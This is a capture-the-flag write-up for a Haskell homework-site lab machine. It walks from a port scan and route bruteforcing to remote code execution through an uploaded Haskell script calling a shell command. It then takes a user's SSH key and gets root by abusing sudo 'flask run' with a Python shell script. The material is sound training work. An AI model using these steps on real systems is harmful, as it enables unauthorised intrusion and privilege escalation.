Room link

Objectives

Capture user.txt and root.txt flags

Steps

Enumeration

As always let’s start with a port scan of the machine

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for <IP>

Scanned at 2020-06-17 21:58:09 CEST for 31s
Not shown: 976 closed ports
PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5001/tcp  open     http         Gunicorn 19.7.1
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/19.7.1
|_http-title: Homepage

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see an open ssh and http server. As we can’t do anything with ssh yet let’s check out the website

HTTP

When we visit the website we’re greeted with an index saying something about functional programming with Haskell and a homework http index After going through the only link on the page we’re presented with the list of tasks for the said homework http homework The submit link on the site doesn’t work so the logical thing to do is to bruteforce routes

1
200 - /submit

From the scan we conduct that the submit page is under another route
After visiting the page we are presented with an upload form http upload

Trying to upload a normal txt file the site doesn’t say anything. As we know from previous pages this site probably accepts a haskell scripts so let’s try a simple hello world

1
main = putStrLn "Hello, World!"

code hello

We can see that our code is compiled and executed afterwards. Let’s try to execute a command on the box

1
2
import System.Process
main = callCommand "ls"

code ls And now we have the ability to gain a shell. We can now run a simple nc reverse shell command from pentestmonkey or we can use a haskell reverse shell the room creator made (he also made an awesome blog post explaining how it works)

Shell (flask)

Now that we have a shell we can check who we are

1
2
$ id
uid=1001(flask) gid=1001(flask) groups=1001(flask)

As “flask” we can’t really execute anything to get a privileged shell so let’s browse the filesystem.

Looking through /home we can see two other users

1
2
3
4
$ ls -l /home
drwxr-xr-x 6 flask   flask   4096 May 27 19:07 flask
drwxr-xr-x 7 haskell haskell 4096 May 27 19:08 haskell
drwxr-xr-x 7 prof    prof    4096 May 27 19:07 prof

Looking through haskell’s files we don’t find anything but prof has a user flag and a .ssh folder with and ssh key. With that we can now switch to the other user.

Shell (prof)

Checking the usual stuff like suid files and sudo permissions we can see that we can execute “flask” as root without a password

1
2
3
4
5
Matching Defaults entries for prof on haskhell:
    env_reset, env_keep+=FLASK_APP, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User prof may run the following commands on haskhell:
    (root) NOPASSWD: /usr/bin/flask run

The flask command is just a python wrapper that will execute flask specific functions so the app runs properly but we can leverage that to run normal python code instead.

We can write a simple python script that executes /bin/sh and get a root shell.

~/app.py

1
2
import os
os.system("/bin/sh")

To execute that specific script as a flask app we need to specify the filename in a FLASK_APP env variable. Looking at sudo permissions we can see that this is the only env variable that is kept from our environment.

1
2
3
$ FLASK_APP=app.py sudo /usr/bin/flask run
# id
uid=0(root) gid=0(root) groups=0(root)

Shell (root)

Now that we have root we can read the root flag





Thanks to: